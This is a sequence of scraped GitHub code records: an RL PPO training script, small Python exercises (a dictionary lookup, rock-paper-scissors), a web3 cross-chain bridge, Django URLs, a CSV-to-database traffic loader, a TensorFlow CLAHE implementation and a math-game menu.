batch_terminals)\n\n if params[\"ppo\"]:\n update_ppo(policy, policy_optim, batch_states, batch_actions, batch_advantages, params[\"ppo_update_iters\"])\n else:\n update_policy(policy, policy_optim, batch_states, batch_actions, batch_advantages)\n\n print(\"Episode {}/{}, loss_V: {}, loss_policy: {}, mean ep_rew: {}, std: {:.2f}\".\n format(i, params[\"iters\"], None, None, batch_rew / params[\"batchsize\"], T.exp(policy.log_std)[0][0].detach().numpy())) # T.exp(policy.log_std).detach().numpy())\n\n # Finally reset all batch lists\n batch_ctr = 0\n batch_rew = 0\n\n batch_states = []\n batch_actions = []\n batch_rewards = []\n batch_new_states = []\n batch_terminals = []\n\n if i % 300 == 0 and i > 0:\n sdir = os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"agents/{}_{}_{}_pg.p\".format(env.__class__.__name__, policy.__class__.__name__, params[\"ID\"]))\n T.save(policy, sdir)\n print(\"Saved checkpoint at {} with params {}\".format(sdir, params))\n\n return ep_rewards\n\ndef update_ppo(policy, policy_optim, batch_states, batch_actions, batch_advantages, update_iters):\n log_probs_old = policy.log_probs(batch_states, batch_actions).detach()\n c_eps = 0.2\n\n # Do ppo_update\n for k in range(update_iters):\n log_probs_new = policy.log_probs(batch_states, batch_actions)\n r = T.exp(log_probs_new - log_probs_old)\n loss = -T.mean(T.min(r * batch_advantages, r.clamp(1 - c_eps, 1 + c_eps) * batch_advantages))\n policy_optim.zero_grad()\n loss.backward()\n policy.soft_clip_grads(1.)\n policy_optim.step()\n\n if False:\n # Symmetry loss\n batch_states_rev = batch_states.clone()\n\n # Joint angles\n batch_states_rev[:, 0:3] = batch_states[:, 6:9]\n batch_states_rev[:, 3:6] = batch_states[:, 9:12]\n batch_states_rev[:, 15:18] = batch_states[:, 12:15]\n\n batch_states_rev[:, 6:9] = batch_states[:, 0:3]\n batch_states_rev[:, 9:12] = batch_states[:, 3:6]\n batch_states_rev[:, 12:15] = batch_states[:, 15:18]\n\n # Joint angle velocities\n batch_states_rev[:, 0 + 18:3 + 18] = batch_states[:, 6 + 18:9 + 18]\n batch_states_rev[:, 3 + 18:6 + 18] = batch_states[:, 9 + 18:12 + 18]\n batch_states_rev[:, 15 + 18:18 + 18] = batch_states[:, 12 + 18:15 + 18]\n\n batch_states_rev[:, 6 + 18:9 + 18] = batch_states[:, 0 + 18:3 + 18]\n batch_states_rev[:, 9 + 18:12 + 18] = batch_states[:, 3 + 18:6 + 18]\n batch_states_rev[:, 12 + 18:15 + 18] = batch_states[:, 15 + 18:18 + 18]\n\n # Reverse yaw and y\n batch_states_rev[44] = - batch_states[44]\n batch_states_rev[45] = - batch_states[45]\n\n # Reverse contacts\n batch_states_rev[46] = batch_states[48]\n batch_states_rev[47] = batch_states[49]\n batch_states_rev[51] = batch_states[50]\n\n batch_states_rev[48] = batch_states[46]\n batch_states_rev[49] = batch_states[47]\n batch_states_rev[50] = batch_states[51]\n\n # Actions\n for i in range(3):\n actions = policy(batch_states)\n actions_rev = T.zeros_like(actions)\n\n actions_rev[:, 0:3] = actions[:, 6:9]\n actions_rev[:, 3:6] = actions[:, 9:12]\n actions_rev[:, 15:18] = actions[:, 12:15]\n\n actions_rev[:, 6:9] = actions[:, 0:3]\n actions_rev[:, 9:12] = actions[:, 3:6]\n actions_rev[:, 12:15] = actions[:, 15:18]\n\n loss = (actions - actions_rev).pow(2).mean()\n policy_optim.zero_grad()\n loss.backward()\n policy.soft_clip_grads(1.)\n policy_optim.step()\n\n #policy.print_info()\n\n\ndef update_V(V, V_optim, gamma, batch_states, batch_rewards, batch_terminals):\n assert len(batch_states) == len(batch_rewards) == len(batch_terminals)\n N = len(batch_states)\n\n # Predicted values\n Vs = V(batch_states)\n\n # Monte carlo estimate of targets\n targets = []\n for i in range(N):\n cumrew = T.tensor(0.)\n for j in range(i, N):\n cumrew += (gamma ** (j-i)) * batch_rewards[j]\n if batch_terminals[j]:\n break\n targets.append(cumrew.view(1, 1))\n\n targets = T.cat(targets)\n\n # MSE loss#\n V_optim.zero_grad()\n\n loss = (targets - Vs).pow(2).mean()\n loss.backward()\n V_optim.step()\n\n return loss.data\n\n\ndef update_policy(policy, policy_optim, batch_states, batch_actions, batch_advantages):\n\n # Get action log probabilities\n log_probs = policy.log_probs(batch_states, batch_actions)\n\n # Calculate loss function\n loss = -T.mean(log_probs * batch_advantages)\n\n # Backward pass on policy\n policy_optim.zero_grad()\n loss.backward()\n\n # Step policy update\n policy_optim.step()\n\n return loss.data\n\n\ndef calc_advantages(V, gamma, batch_states, batch_rewards, batch_next_states, batch_terminals):\n Vs = V(batch_states)\n Vs_ = V(batch_next_states)\n targets = []\n for s, r, s_, t, vs_ in zip(batch_states, batch_rewards, batch_next_states, batch_terminals, Vs_):\n if t:\n targets.append(r.unsqueeze(0))\n else:\n targets.append(r + gamma * vs_)\n\n return T.cat(targets) - Vs\n\n\ndef calc_advantages_MC(gamma, batch_rewards, batch_terminals):\n N = len(batch_rewards)\n\n # Monte carlo estimate of targets\n targets = []\n for i in range(N):\n cumrew = T.tensor(0.)\n for j in range(i, N):\n cumrew += (gamma ** (j - i)) * batch_rewards[j]\n if batch_terminals[j]:\n break\n targets.append(cumrew.view(1, 1))\n targets = T.cat(targets)\n\n return targets\n\n\nif __name__==\"__main__\":\n T.set_num_threads(1)\n\n env_list = [\"holes\", \"pipe\"] # [\"flat\", \"tiles\", \"holes\", \"pipe\", \"inverseholes\"]\n if len(sys.argv) > 1:\n env_list = [sys.argv[1]]\n\n ID = ''.join(random.choices(string.ascii_uppercase + string.digits, k=3))\n\n params = {\"iters\": 10000, \"batchsize\": 30, \"gamma\": 0.98, \"policy_lr\": 0.0005, \"weight_decay\" : 0.001, \"ppo\": True,\n \"ppo_update_iters\": 6, \"animate\": False, \"train\" : False, \"env_list\" : env_list,\n \"note\" : \"Score, 2E1\", \"ID\" : ID}\n\n if socket.gethostname() == \"goedel\":\n params[\"animate\"] = False\n params[\"train\"] = True\n\n from src.envs.hexapod_trossen_terrain_all import hexapod_trossen_terrain_all as hex_env\n env = hex_env.Hexapod(env_list=env_list, max_n_envs=1)\n\n r_lists = []\n for i in range(5):\n # Test\n print(\"Training: {}/N\".format(i+1))\n policy = policies.NN_PG(env, 64, tanh=False, std_fixed=True)\n print(params, env.obs_dim, env.act_dim, env.__class__.__name__, policy.__class__.__name__)\n r_list = train(env, policy, params)\n r_lists.append(np.array(r_list))\n\n r_lists = np.stack(r_lists, 0)\n print(r_lists.shape)\n np.save(\"R_{}_{}\".format(env_list, params[\"ID\"]), r_lists)\n","repo_name":"silverjoda/nexabots","sub_path":"src/algos/PG/rep_pg.py","file_name":"rep_pg.py","file_ext":"py","file_size_in_byte":9519,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"14799032982","text":"#!/usr/bin/env python\n\nwoerter = {}\n\nfobj = open(\"woerterbuch.txt\", \"r\")\nfor line in fobj:\n line = line.strip()\n zuordnung = line.split(\" \")\n woerter[zuordnung[0]] = zuordnung[1]\nfobj.close()\n\nwhile True:\n wort = input(\"Geben Sie ein Wort ein: \")\n if wort in woerter:\n print(\"Das deutsche Wort lautet:\", woerter[wort])\n else:\n print(\"Das Wort ist unbekannt\")\n","repo_name":"Eskimo-SVD/Oliver_private_Bude","sub_path":"Python-Buch/06_Dateien/beispiel_1_woerterbuch.py","file_name":"beispiel_1_woerterbuch.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"9058344251","text":"import random\r\n\r\nrandom_number = random.randint(1, 3)\r\n\r\nii = \"\"\r\n\r\nif random_number == 1:\r\n ii = \"Stone\"\r\nelif random_number == 2:\r\n ii = \"Scissors\"\r\nelif random_number == 3:\r\n ii = \"Paper\"\r\n\r\nprint(\"If you want to choose stone write 1.\\nIf you want to choose Scissors write 2\\nIf you want to choose paper write 3\")\r\nwhile True:\r\n user_answer = int(input())\r\n if user_answer == 1:\r\n print(\"You choose: stone\")\r\n print(\"Your opponent choose: \" + ii)\r\n if ii == \"Stone\":\r\n print(\"Its draw\")\r\n elif ii == \"Scissors\":\r\n print(\"You won\")\r\n elif ii == \"Paper\":\r\n print(\"You lose\")\r\n break\r\n if user_answer == 2:\r\n print(\"You choose: scissors\")\r\n print(\"Your opponent choose: \" + ii)\r\n if ii == \"Stone\":\r\n print(\"You lose\")\r\n elif ii == \"Scissors\":\r\n print(\"Its draw\")\r\n elif ii == \"Paper\":\r\n print(\"You won\")\r\n break\r\n if user_answer == 3:\r\n print(\"You choose: paper\")\r\n print(\"Your opponent choose: \" + ii)\r\n if ii == \"Stone\":\r\n print(\"You won\")\r\n elif ii == \"Scissors\":\r\n print(\"You lose\")\r\n elif ii == \"Paper\":\r\n print(\"Its draw\")\r\n break\r\n else:\r\n print(\"Wrong number, try again\")","repo_name":"A14x01/rock-paper-scissors","sub_path":"rock-paper-scissors.py","file_name":"rock-paper-scissors.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16409737649","text":"from web3 import Web3, HTTPProvider\nfrom contracts_abi import token_abi, home_bridge_abi, foreign_bridge_abi\nimport time\n\n\nclass Bridge:\n def __init__(self, private_key, s_token, home_bridge, k_token, foreign_bridge):\n self.kovan_w3 = Web3(HTTPProvider('https://kovan.infura.io/'))\n self.sokol_w3 = Web3(HTTPProvider('https://sokol.poa.network/'))\n self.bridge_account = self.kovan_w3.eth.account.privateKeyToAccount(private_key)\n\n s_token_address = Web3.toChecksumAddress(s_token)\n self.s_token = self.sokol_w3.eth.contract(address=s_token_address, abi=token_abi)\n home_bridge_address = Web3.toChecksumAddress(home_bridge)\n self.home_bridge = self.sokol_w3.eth.contract(address=home_bridge_address, abi=home_bridge_abi)\n\n k_token_address = Web3.toChecksumAddress(k_token)\n self.k_token = self.kovan_w3.eth.contract(address=k_token_address, abi=token_abi)\n foreign_bridge_address = Web3.toChecksumAddress(foreign_bridge)\n self.foreign_bridge = self.kovan_w3.eth.contract(address=foreign_bridge_address, abi=foreign_bridge_abi)\n\n self.last_home_block = 0\n self.last_foreign_block = 0\n\n def bridge_to_kovan(self):\n while True:\n events = self.get_events(self.sokol_w3, self.home_bridge, self.last_home_block)\n for event in events:\n self.send_transaction(self.kovan_w3, self.foreign_bridge, event)\n time.sleep(3)\n\n def bridge_to_sokol(self):\n while True:\n events = self.get_events(self.kovan_w3, self.foreign_bridge, self.last_foreign_block)\n for event in events:\n self.send_transaction(self.sokol_w3, self.home_bridge, event)\n time.sleep(3)\n\n def send_transaction(self, w3, bridge_contract, event):\n nonce = w3.eth.getTransactionCount(self.bridge_account.address)\n tx = {\n 'gas': 7000000,\n 'gasPrice': Web3.toWei(1, 'gwei'),\n 'nonce': nonce\n }\n transaction = bridge_contract.functions.transferApproved(\n event['args']['_from'],\n event['args']['_tokenVIN'],\n event['args']['_data'],\n event['transactionHash']\n ).buildTransaction(tx)\n\n signed_tx = self.bridge_account.signTransaction(transaction)\n tx_hash = w3.eth.sendRawTransaction(signed_tx['rawTransaction'])\n receipt = w3.eth.waitForTransactionReceipt(tx_hash)\n\n def get_events(self, w3, contract, last_block):\n to_block = w3.eth.getBlock('latest')['number']\n filter_params = {\n 'fromBlock': last_block,\n 'toBlock': to_block,\n 'address': contract.address\n }\n logs = w3.eth.getLogs(filter_params)\n\n events = []\n\n for log in logs:\n tx_hash = log['transactionHash']\n receipt = w3.eth.getTransactionReceipt(tx_hash)\n log_events = contract.events.UserRequestForSignature().processReceipt(receipt)\n events.extend(log_events)\n\n if w3 == self.sokol_w3:\n self.last_home_block = to_block\n else:\n self.last_foreign_block = to_block\n\n return events\n","repo_name":"dkondyrev/blockchain_bridge","sub_path":"blockchain_bridge.py","file_name":"blockchain_bridge.py","file_ext":"py","file_size_in_byte":3198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6550099477","text":"\"\"\"\n\"\"\"\nfrom django.urls import path\nfrom . import views\n\napp_name = \"blog_app\"\n\nurlpatterns = [\n path('', views.BlogListView.as_view(), name=\"index\"),\n path('blog//', views.BlogDetailView.as_view(), name=\"detalle\"),\n path('blog-add/', views.BlogCreateView.as_view(), name=\"add\"),\n]\n","repo_name":"neunapp/djeditor-quill","sub_path":"djeditor/applications/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34456937059","text":"\nimport argparse\nimport os\nimport csv\nfrom datetime import timedelta, datetime\nfrom model import Connection, TrafficFlow\nimport config\n\ndef get_file_path(fetch_date):\n \"\"\"\n This function constructs a filename to be used \n Params:\n fetch_date: str\n The date the data was downloaded from the pNeuma API\n Returns:\n filepath: os.Path\n The path to the file\n \"\"\"\n filename = \"traffic_flow_{}.csv\".format(fetch_date)\n return os.path.join(config.CSV_FILE_DIR, filename)\n\ndef main(fetch_date, db_connection):\n \"\"\"\n Loads the data from csv file to the the database\n Params:\n fetch_date: str\n The date the data was downloaded from the web.\n This is used to construct the file path\n db_connection: str\n The database connection string\n \"\"\"\n filename = get_file_path(fetch_date)\n data_insert = []\n \n with open(filename, encoding='utf-8') as csvf:\n csv_reader = csv.DictReader(csvf)\n for row in csv_reader:\n traffic_data = TrafficFlow(\n track_id=row['track_id'],\n vehicle_types=row['vehicle_types'],\n traveled_d=row['traveled_d'],\n avg_speed=row['avg_speed'],\n trajectory=row['trajectory'])\n data_insert.append(traffic_data)\n\n connection = Connection(db_connection)\n session = connection.get_session()\n session.bulk_save_objects(data_insert)\n session.commit()\n session.close()\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--date\", required=True, type=str)\n parser.add_argument(\"--connection\", required=True, type=str)\n args = parser.parse_args()\n main(args.date, args.connection)","repo_name":"wakura-mbuya/Data-Warehouse-using-MySQL-dbt-Superset","sub_path":"dags/traffic_csv_to_db.py","file_name":"traffic_csv_to_db.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10219969641","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom itertools import product\n\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import gen_math_ops\n\n\ndef tf_batch_gather(params, indices, axis, name=None):\n \"\"\"\n Extension of the batch_gather function in tensorflow\n (see https://github.com/tensorflow/tensorflow/blob/r1.13/tensorflow/python/ops/array_ops.py\n or https://www.tensorflow.org/api_docs/python/tf/batch_gather)\n Gather slices from `params` according to `indices` with leading batch dims.\n This operation assumes that the leading dimensions of `indices` are dense,\n and the gathers on the axis corresponding to the last dimension of `indices`.\n More concretely it computes:\n `result[i1, ..., in, j1, ..., jm, k1, ...., kl] = params[i1, ..., in, indices[i1, ..., in, j1, ..., jm], k1, ..., kl]`\n Therefore `params` should be a Tensor of shape [A1, ..., AN, C0, B1, ..., BM],\n `indices` should be a Tensor of shape [A1, ..., AN, C1, ..., CK] and `result` will be\n a Tensor of size `[A1, ..., AN, C1, ..., CK, B1, ..., BM]`.\n In the case in which indices is a 1D tensor, this operation is equivalent to\n `tf.gather`.\n See also `tf.gather` and `tf.gather_nd`.\n Args:\n params: A `Tensor`. The tensor from which to gather values.\n indices: A `Tensor`. Must be one of the following types: int32, int64. Index\n tensor. Must be in range `[0, params.shape[axis]`, where `axis` is the\n last dimension of `indices` itself.\n axis: A `Tensor`. Must be one of the following types: int32, int64. The axis\n in `params` to gather `indices` from.\n name: A name for the operation (optional).\n Returns:\n A Tensor. Has the same type as `params`.\n Raises:\n ValueError: if `indices` has an unknown shape.\n \"\"\"\n\n with ops.name_scope(name):\n indices = ops.convert_to_tensor(indices, name=\"indices\")\n params = ops.convert_to_tensor(params, name=\"params\")\n indices_shape = tf.shape(indices)\n params_shape = tf.shape(params)\n\n ndims = indices.shape.ndims\n if ndims is None:\n raise ValueError(\"batch_gather does not allow indices with unknown \"\n \"shape.\")\n batch_indices = indices\n indices_dtype = indices.dtype.base_dtype\n accum_dim_value = tf.ones((), dtype=indices_dtype)\n # Use correct type for offset index computation\n casted_params_shape = gen_math_ops.cast(params_shape, indices_dtype)\n for dim in range(axis, 0, -1):\n dim_value = casted_params_shape[dim - 1]\n accum_dim_value *= casted_params_shape[dim]\n start = tf.zeros((), dtype=indices_dtype)\n step = tf.ones((), dtype=indices_dtype)\n dim_indices = gen_math_ops._range(start, dim_value, step)\n dim_indices *= accum_dim_value\n dim_shape = tf.stack([1] * (dim - 1) + [dim_value] + [1] * (ndims - dim),\n axis=0)\n batch_indices += tf.reshape(dim_indices, dim_shape)\n\n flat_inner_shape_indices = gen_math_ops.prod(indices_shape[:(axis + 1)], [0], False)\n flat_indices = tf.reshape(batch_indices, tf.concat([[flat_inner_shape_indices],\n indices_shape[(axis + 1):]], axis=0))\n outer_shape = params_shape[(axis + 1):]\n flat_inner_shape_params = gen_math_ops.prod(params_shape[:(axis + 1)], [0], False)\n\n flat_params = tf.reshape(params, tf.concat([[flat_inner_shape_params], outer_shape], axis=0))\n flat_result = tf.gather(flat_params, flat_indices)\n result = tf.reshape(flat_result, tf.concat([indices_shape, outer_shape], axis=0))\n final_shape = indices.get_shape()[:axis].merge_with(\n params.get_shape()[:axis])\n final_shape = final_shape.concatenate(indices.get_shape()[axis:])\n final_shape = final_shape.concatenate(params.get_shape()[(axis + 1):])\n result.set_shape(final_shape)\n return result\n\n\ndef tf_batch_histogram(values, value_range, axis, nbins=100, dtype=tf.int32, use_map=True):\n \"\"\"\n Computes histogram with fixed width considering batch dimensions\n :param values: Numeric `Tensor` containing the values for histogram computation.\n :param value_range: Shape [2] `Tensor` of same `dtype` as `values`. values <= value_range[0] will be mapped to\n hist[0], values >= value_range[1] will be mapped to hist[-1].\n :param axis: Number of batch dimensions. First axis to apply histogram computation to.\n :param nbins: Scalar `int32 Tensor`. Number of histogram bins.\n :param dtype: dtype for returned histogram, can be either tf.int32 or tf.int64.\n :return: histogram with batch dimensions.\n \"\"\"\n\n # Get shape\n values_shape = tf.shape(values)\n batch_dim = values_shape[:axis]\n rest_dim = values_shape[axis:]\n num_batch = tf.reduce_prod(batch_dim)\n\n if use_map:\n values_reshaped = tf.reshape(values, tf.concat([[num_batch], rest_dim], 0))\n hist = tf.map_fn(lambda x: tf.histogram_fixed_width(x, value_range, nbins=nbins, dtype=dtype), values_reshaped,\n dtype=dtype, parallel_iterations=64)\n else:\n # Normalize\n values_float = tf.cast(values, tf.float32)\n value_range_float = tf.cast(value_range, tf.float32)\n\n # Clip values\n values_norm = (values_float - value_range_float[0]) / (value_range_float[1] - value_range_float[0])\n values_clip1 = tf.maximum(values_norm, 0.5 / tf.cast(nbins, tf.float32))\n values_clip2 = tf.minimum(values_clip1, 1.0 - 0.5 / tf.cast(nbins, tf.float32))\n\n # Shift values\n values_shift = values_clip2 + tf.reshape(tf.range(tf.cast(num_batch, tf.float32), dtype=tf.float32),\n tf.concat([batch_dim, tf.ones(tf.size(rest_dim), tf.int32)], 0))\n\n # Get histogram\n hist = tf.histogram_fixed_width(values_shift, [0., tf.cast(num_batch, tf.float32)], nbins=num_batch * nbins,\n dtype=dtype)\n\n return tf.reshape(hist, tf.concat([batch_dim, [nbins]], 0))\n\ndef mclahe(x, kernel_size=None, n_bins=128, clip_limit=0.01, adaptive_hist_range=False, use_gpu=True):\n \"\"\"\n Contrast limited adaptive histogram equalization implemented in tensorflow\n :param x: numpy array to which clahe is applied\n :param kernel_size: tuple of kernel sizes, 1/8 of dimension lengths of x if None\n :param n_bins: number of bins to be used in the histogram\n :param clip_limit: relative intensity limit to be ignored in the histogram equalization\n :param adaptive_hist_range: flag, if true individual range for histogram computation of each block is used\n :param use_gpu: Flag, if true gpu is used for computations if available\n :return: numpy array to which clahe was applied, scaled on interval [0, 1]\n \"\"\"\n\n if kernel_size is None:\n kernel_size = tuple(s // 8 for s in x.shape)\n kernel_size = np.array(kernel_size)\n\n assert len(kernel_size) == len(x.shape)\n\n dim = len(x.shape)\n\n # Normalize data\n x_min = np.min(x)\n x_max = np.max(x)\n x = (x - x_min) / (x_max - x_min)\n\n # Pad data\n x_shape = np.array(x.shape)\n padding_x_length = kernel_size - 1 - ((x_shape - 1) % kernel_size)\n padding_x = np.column_stack(((padding_x_length + 1) // 2, padding_x_length // 2))\n padding_hist = np.column_stack((kernel_size // 2, (kernel_size + 1) // 2)) + padding_x\n x_hist_padded = np.pad(x, padding_hist, 'symmetric')\n\n # Set up tf graph\n with tf.variable_scope(\"clahe\") as scope:\n tf_x_hist_padded_init = tf.placeholder(tf.float32, shape=x_hist_padded.shape)\n tf_x_hist_padded = tf.Variable(tf_x_hist_padded_init)\n tf_x_padded = tf.slice(tf_x_hist_padded, kernel_size // 2, x_shape + padding_x_length)\n\n # Form blocks used for interpolation\n n_blocks = np.ceil(np.array(x.shape) / kernel_size).astype(np.int32)\n new_shape = np.reshape(np.column_stack((n_blocks, kernel_size)), (2 * dim,))\n perm = tuple(2 * i for i in range(dim)) + tuple(2 * i + 1 for i in range(dim))\n tf_x_block = tf.transpose(tf.reshape(tf_x_padded, new_shape), perm=perm)\n shape_x_block = np.concatenate((n_blocks, kernel_size))\n\n # Form block used for histogram\n n_blocks_hist = n_blocks + np.ones(dim, dtype=np.int32)\n new_shape = np.reshape(np.column_stack((n_blocks_hist, kernel_size)), (2 * dim,))\n perm = tuple(2 * i for i in range(dim)) + tuple(2 * i + 1 for i in range(dim))\n tf_x_hist = tf.transpose(tf.reshape(tf_x_hist_padded, new_shape), perm=perm)\n\n # Get maps\n # Get histogram\n if adaptive_hist_range:\n hist_ex_shape = np.concatenate((n_blocks_hist, [1] * dim))\n tf_x_hist_ex_init = tf.placeholder(tf.float32, shape=n_blocks_hist)\n tf_x_hist_min = tf.Variable(tf_x_hist_ex_init, dtype=tf.float32)\n tf_x_hist_max = tf.reduce_max(tf_x_hist, np.arange(-dim, 0))\n tf_x_hist_norm = tf.Variable(tf_x_hist_ex_init, dtype=tf.float32)\n tf_get_hist_min = tf.assign(tf_x_hist_min, tf.reduce_min(tf_x_hist, np.arange(-dim, 0)))\n tf_get_hist_norm = tf.assign(tf_x_hist_norm, tf.where(tf.equal(tf_x_hist_min, tf_x_hist_max),\n tf.ones_like(tf_x_hist_min),\n tf_x_hist_max - tf_x_hist_min))\n\n tf_x_hist_scaled = (tf_x_hist - tf.reshape(tf_x_hist_min, hist_ex_shape))\\\n / tf.reshape(tf_x_hist_norm, hist_ex_shape)\n else:\n tf_x_hist_scaled = tf_x_hist\n tf_hist = tf.cast(tf_batch_histogram(tf_x_hist_scaled, [0., 1.], dim, nbins=n_bins), tf.float32)\n # Clip histogram\n tf_n_to_high = tf.reduce_sum(tf.nn.relu(tf_hist - np.prod(kernel_size) * clip_limit), -1, keepdims=True)\n tf_hist_clipped = tf.minimum(tf_hist, np.prod(kernel_size) * clip_limit) + tf_n_to_high / n_bins\n tf_cdf = tf.cumsum(tf_hist_clipped, -1)\n tf_cdf_slice_size = tf.constant(np.concatenate((n_blocks_hist, [1])), tf.int32)\n tf_cdf_min = tf.slice(tf_cdf, tf.constant([0] * (dim + 1), dtype=tf.int32), tf_cdf_slice_size)\n tf_cdf_max = tf.slice(tf_cdf, tf.constant([0] * dim + [n_bins - 1], dtype=tf.int32), tf_cdf_slice_size)\n tf_cdf_norm = tf.where(tf.equal(tf_cdf_min, tf_cdf_max), tf.ones_like(tf_cdf_max), tf_cdf_max - tf_cdf_min)\n tf_mapping = (tf_cdf - tf_cdf_min) / tf_cdf_norm\n\n map_shape = np.concatenate((n_blocks_hist, [n_bins]))\n tf_map_init = tf.placeholder(tf.float32, shape=map_shape)\n tf_map = tf.Variable(tf_map_init, dtype=tf.float32)\n tf_get_map = tf.assign(tf_map, tf_mapping)\n\n # Prepare initializer\n tf_x_block_init = tf.placeholder(tf.float32, shape=shape_x_block)\n\n # Set up slice of data and map\n tf_slice_begin = tf.placeholder(tf.int32, shape=(dim,))\n tf_map_slice_begin = tf.concat([tf_slice_begin, [0]], 0)\n tf_map_slice_size = tf.constant(np.concatenate((n_blocks, [n_bins])), dtype=tf.int32)\n tf_map_slice = tf.slice(tf_map, tf_map_slice_begin, tf_map_slice_size)\n # Get bins\n if adaptive_hist_range:\n # Local bins\n tf_hist_norm_slice_shape = np.concatenate((n_blocks, [1] * dim))\n tf_x_hist_min_sub = tf.slice(tf_x_hist_min, tf_slice_begin, n_blocks)\n tf_x_hist_norm_sub = tf.slice(tf_x_hist_norm, tf_slice_begin, n_blocks)\n tf_x_block_scaled = (tf_x_block - tf.reshape(tf_x_hist_min_sub, tf_hist_norm_slice_shape))\\\n / tf.reshape(tf_x_hist_norm_sub, tf_hist_norm_slice_shape)\n tf_bin = tf.histogram_fixed_width_bins(tf_x_block_scaled, [0., 1.], nbins=n_bins)\n else:\n # Global bins\n tf_bin = tf.Variable(tf.cast(tf_x_block_init, tf.int32), dtype=tf.int32)\n tf_get_bin = tf.assign(tf_bin, tf.histogram_fixed_width_bins(tf_x_block, [0., 1.], nbins=n_bins))\n # Apply map\n tf_mapped_sub = tf_batch_gather(tf_map_slice, tf_bin, dim)\n # Apply coefficients\n tf_coeff = tf.placeholder(tf.float32)\n tf_res_sub = tf.Variable(tf_x_block_init, dtype=tf.float32)\n tf_apply_map = tf.assign(tf_res_sub, tf_mapped_sub)\n tf_apply_coeff = tf.assign(tf_res_sub, tf_coeff * tf_res_sub)\n # Update results\n tf_res = tf.Variable(tf_x_block_init, dtype=tf.float32)\n tf_update_res = tf.assign_add(tf_res, tf_res_sub)\n\n # Rescaling\n tf_res_min, tf_res_max = (tf.reduce_min(tf_res), tf.reduce_max(tf_res))\n tf_res_norm = (tf_res - tf_res_min) / (tf_res_max - tf_res_min)\n tf_rescale = tf.assign(tf_res, tf_res_norm)\n\n # Reshape result\n new_shape = tuple((axis, axis + dim) for axis in range(dim))\n new_shape = tuple(j for i in new_shape for j in i)\n tf_res_transposed = tf.transpose(tf_res, new_shape)\n tf_res_reshaped = tf.reshape(tf_res_transposed, tuple(n_blocks[axis] * kernel_size[axis] for axis in range(dim)))\n\n # Recover original size\n tf_res_cropped = tf.slice(tf_res_reshaped, padding_x[:, 0], x.shape)\n\n # Setting up tf session\n if use_gpu:\n config = None\n else:\n config = tf.ConfigProto(device_count={'GPU': 0})\n\n with tf.Session(config=config) as sess:\n map_init = np.zeros(map_shape, dtype=np.float32)\n x_block_init = np.zeros(shape_x_block, dtype=np.float32)\n # Initialize vars for local hist range if needed\n if adaptive_hist_range:\n x_hist_ex_init = np.zeros(n_blocks_hist, dtype=np.float32)\n tf_var_init = tf.initializers.variables([tf_x_hist_padded, tf_map, tf_res, tf_res_sub,\n tf_x_hist_min, tf_x_hist_norm])\n sess.run(tf_var_init, feed_dict={tf_x_hist_padded_init: x_hist_padded,\n tf_map_init: map_init, tf_x_block_init: x_block_init,\n tf_x_hist_ex_init: x_hist_ex_init})\n else:\n tf_var_init = tf.initializers.variables([tf_x_hist_padded, tf_map, tf_bin, tf_res, tf_res_sub])\n sess.run(tf_var_init, feed_dict={tf_x_hist_padded_init: x_hist_padded, tf_map_init: map_init,\n tf_x_block_init: x_block_init})\n\n # Run calculations\n # Normalize histogram data if needed\n if adaptive_hist_range:\n sess.run(tf_get_hist_min)\n sess.run(tf_get_hist_norm)\n sess.run(tf_get_map)\n # Get global hist bins if needed\n if not adaptive_hist_range:\n sess.run(tf_get_bin)\n # Loop over maps\n inds = [list(i) for i in product([0, 1], repeat=dim)]\n for ind_map in inds:\n sess.run(tf_apply_map, feed_dict={tf_slice_begin: ind_map})\n # Calculate and apply coefficients\n for axis in range(dim):\n coeff = np.arange(kernel_size[axis], dtype=np.float32) / kernel_size[axis]\n if kernel_size[axis] % 2 == 0:\n coeff = 0.5 / kernel_size[axis] + coeff\n if ind_map[axis] == 0:\n coeff = 1. - coeff\n new_shape = [1] * (dim + axis) + [kernel_size[axis]] + [1] * (dim - 1 - axis)\n coeff = np.reshape(coeff, new_shape)\n sess.run(tf_apply_coeff, feed_dict={tf_coeff: coeff})\n # Update results\n sess.run(tf_update_res)\n\n # Rescaling\n sess.run(tf_rescale)\n\n # Get result\n result = sess.run(tf_res_cropped)\n\n return result","repo_name":"stmutasa/SODKit","sub_path":"mclahe.py","file_name":"mclahe.py","file_ext":"py","file_size_in_byte":16118,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"16752005260","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Dec 2 19:00:08 2022\r\n\r\n@author: anacs\r\n\r\n\r\n\"\"\"\r\nimport DataWars_Logic02 as logic\r\n#import re\r\n\r\n#import dataman_logic as logic\r\n#import dataman_data as data\r\n#import random \r\nimport time\r\n\r\nfrom addAlley import AdditionAlley\r\nfrom subSquare import SubtractionSquare\r\nfrom MultipliMetro import MultiplicationMetro \r\nfrom DiviDucks import DivisionDucks\r\n\r\n\r\nclass DataWars_UI:\r\n def __init__(self):\r\n \r\n self.logic = logic.DataWars_Logic()\r\n self.data = logic.DataWars_Data()\r\n \r\n \r\n \r\n \r\n def displayMenu(self):\r\n \r\n \r\n \r\n \r\n #Introduction to DATA WARS\r\n #\r\n #Let player beging the quest of Data Wars. \r\n print(\"Welcome To Data Wars\")\r\n print(\"Step 1: Select your avatar ..\")\r\n print(\"Step 2: Select difficulty\")\r\n print(\"Step 3: Let the Data Wars Begin!!\")\r\n \r\n \r\n 